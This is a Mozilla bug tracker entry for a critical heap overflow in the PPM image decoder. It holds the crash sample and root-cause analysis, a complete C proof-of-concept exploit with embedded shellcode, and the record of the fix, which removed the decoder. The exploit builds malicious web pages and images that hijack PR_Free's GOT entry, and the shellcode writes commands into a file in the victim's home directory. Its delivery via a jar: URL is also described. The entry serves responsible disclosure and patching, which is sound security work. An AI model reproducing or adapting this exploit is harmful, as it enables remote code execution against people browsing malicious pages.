Closed Bug 220721 Opened 21 years ago Closed 21 years ago

exploitable heap corruption via PPM module

Categories

(Core :: Graphics: ImageLib, defect)

1.4 Branch
x86
Linux
defect
Not set
critical

Tracking

()

VERIFIED FIXED

People

(Reporter: dveditz, Assigned: jdunn)

Details

(Keywords: fixed1.4.2, Whiteboard: [sg:fix])

From our pal zen-parse: Issue details: Example file that crashes Netscape. ===BEGIN=== P1 0 100 111111111111111111111111111 ====END==== (This is an 'image/x-portable-bitmap' type file). modules/libpr0n/decoders/ppm/nsPPMDecoder.cpp: mImage->Init(mWidth, mHeight, mObserver); if (mObserver) mObserver->OnStartContainer(nsnull, mImage); mFrame->Init(0, 0, mWidth, mHeight, GfxIFormats::RGB, 24); No check is made that the Init()s succeeded. Adding a NS_ENSURE_SUCCESS(rv, rv); after each would help. NS_METHOD nsPPMDecoder::checkSendRow() This function checks mRowDataFill == mBytesPerRow as the condition for end of row AFTER incrementing mRowDataFill. In this case, mBytesPerRow is 0 while mRowDataFill is 1. The condition isn't met, so there is an overflow. Using this it is possible to manipulate the malloc structure for mRowData, and other data on the heap. A carefully contructed website or email could potentially exploit this problem to execute commands with the local user's permissions. I have successfully inserted controlled values into registers used in heap manipulation functions.
Follow-up from zen-parse with exploit details on Linux, he thinks windows is vulnerable as well. Can someone test this on Linux? Issue details: Code creates ~/.mashrc make peppermint; ./peppermint return_address [GOT of PR_Free] eg: ./peppermint 0x44524f42 ./peppermint 0xdeadbeef 0xc0cac01a generates multiple files: cute.html - Shellcode loader which refreshes to cuter.html cuter.html - HTML document holding cute.ppm cute.ppm - the malformed image ugly.ppm - the shellcode. These files can be zipped down to about 100k, and then referenced by a jar: url to exploit. ====BEGIN==== /* * Proof of concept exploit code for PPM handler vuln. * zen-parse Mon 29 September 2003 10.23am NZST * peppermint.c */ #include <stdio.h> /* address of free in libnspr4.so on RH8.0 */ /* 1st == ./netscape -g -d ldd |grep nspr4 */ /* 2nd == objdump -R libnspr4.so |grep PR_Free */ /* 3rd == -12 which is a fixed offset */ #define GOT 0x40096000 + 0x00031e04 - 12 char sc[]= "\xeb\x02\xeb\x0d\xe8\xf9\xff\xff\xff\x90\x90\x90\x90\x90\x90\x90" "\x90\x58\x8b\x18\x85\xdb\x75\x02\xeb\xfe\x31\xdb\x89\x18\xbc\xe0" "\xff\xff\xbf\x89\xe6\xbb\x01\x48\x4f\x4d\x4b\x4e\x8b\x0e\x39\xcb" "\x75\xf9\xbb\x4f\x4d\x45\x3d\x46\x46\x8b\x0e\x39\xcb\x74\x04\x4e" "\x4e\xeb\xe2\xc7\x06\xef\xbe\xad\xde\x81\x2e\xef\xbe\xad\xde\x46" "\x46\x46\x46\x89\xf7\x46\x8b\x0e\x84\xc9\x75\xf9\xc7\x06\x2f\x2e" "\x6d\x61\x46\x46\x46\x46\xc7\x06\x73\x68\x72\x63\x46\x46\x46\x46" "\xc7\x06\xef\xbe\xad\xde\x81\x2e\xef\xbe\xad\xde\x31\xc0\x31\xc9" "\x31\xd2\x89\xfb\x04\x0a\xcd\x80\x31\xc0\x04\x05\x80\xc1\x41\x66" "\x81\xc2\xb0\x01\xcd\x80\x89\xc6\x40\x85\xc0\x74\x17\xeb\x1a\x59" "\x89\xf3\x31\xd2\xb2\x50\x31\xc0\x04\x04\xcd\x80\x89\xf3\x31\xc0" "\x04\x06\xcd\x80\x31\xc0\x40\xcd\x80\xe8\xe1\xff\xff\xff\x23\x73" "\x6f\x6d\x65\x20\x72\x61\x6e\x64\x6f\x6d\x20\x63\x6f\x6d\x6d\x61" "\x6e\x64\x73\x0a\x74\x6f\x75\x63\x68\x20\x2f\x76\x61\x72\x2f\x74" "\x6d\x70\x2f\x6f\x77\x6e\x65\x64\x2e\x60\x77\x68\x6f\x61\x6d\x69" "\x60\x0a\x65\x78\x69\x74\x0a\x7a\x65\x6e\x2d\x70\x61\x72\x73\x65" "\x20\x6f\x77\x6e\x65\x64\x20\x79\x6f\x75\x2e\x2e\x2e\x0a"; char buf[40960]; char ubuf[40960]; main(int argc, char *argv[]) { FILE *p; union { int i; char c[4]; } r,g; int c,d; if(argc<2)exit(1); r.i=strtoul(argv[1],0,0); g.i=(argc!=3)?GOT: strtoul(argv[2],0,0)-12; unlink("cute.ppm"); p=fopen("cute.ppm","w"); if(!p)exit(1); fprintf(p,"P3 0 100 255\n"); fprintf(p,"0 0 0 0\n0 0 0 0\n0 0 0 0\n0 0 0 0\n"); fprintf(p,"%hhu %hhu %hhu %hhu\n",g.c[0],g.c[1],g.c[2],g.c[3]); fprintf(p,"%hhu %hhu %hhu %hhu\n",r.c[0],r.c[1],r.c[2],r.c[3]); fclose(p); unlink("cute.html"); p=fopen("cute.html","w"); if(!p)exit(1); fprintf(p,"<html>\n"); fprintf(p,"<head>\n"); fprintf(p,"<meta HTTP-EQUIV=\"Refresh\" content=\"4; URL=cuter.html\">\n"); fprintf(p,"<title>Proof of concept for PPM bug</title>\n"); for(c=0;c<3000-strlen(sc) - 0x40;c+=2) { buf[c+0]=0xeb; buf[c+1]=0x40; } fprintf(p,"</head>\n"); fprintf(p,"<body>"); fprintf(p,"<img src=ugly.ppm>"); fprintf(p,"</body></html>"); fclose(p); for(;c<3000-strlen(sc);c++) buf[c]=0x40; strcat(buf,sc); unlink("ugly.ppm"); p=fopen("ugly.ppm","w"); if(!p)exit(1); fprintf(p,"P6 2000 8192 255\n"); for(c=0;c<8192*2;c++) { fprintf(p,"%s",buf); } fclose(p); unlink("cuter.html"); p=fopen("cuter.html","w"); if(!p)exit(1); fprintf(p,"<html>\n"); fprintf(p,"<head>\n"); fprintf(p,"<title>Proof of concept for PPM bug : boom</title>\n"); fprintf(p,"</head>\n"); fprintf(p,"<body>"); for(c=0;c<100;c++) { fprintf(p,"<img src=cute.ppm>"); } fprintf(p,"</body></html>"); } =====END=====
Flags: blocking1.5+
Flags: blocking1.4.2+
Updating version to 1.4 branch -- PPM was removed from the trunk early in 1.5
Flags: blocking1.5+
Version: Trunk → 1.4 Branch
personally, I'd fix this by removing the PPM decoder from the 1.4 branch as well. it's not exactly used much.
OK, I'm going to remove ppm from the 1.4.2 branch. Any objections?
PPM removed from the branch.
Status: NEW → RESOLVED
Closed: 21 years ago
Resolution: --- → FIXED
Keywords: fixed1.4.2
verified... PPM module no longer available to be corrupted
Status: RESOLVED → VERIFIED
Whiteboard: [sg:fix]
Removing security-sensitive flag for bugs on the known-vulnerabilities list
Group: security
You need to log in before you can comment on or make changes to this bug.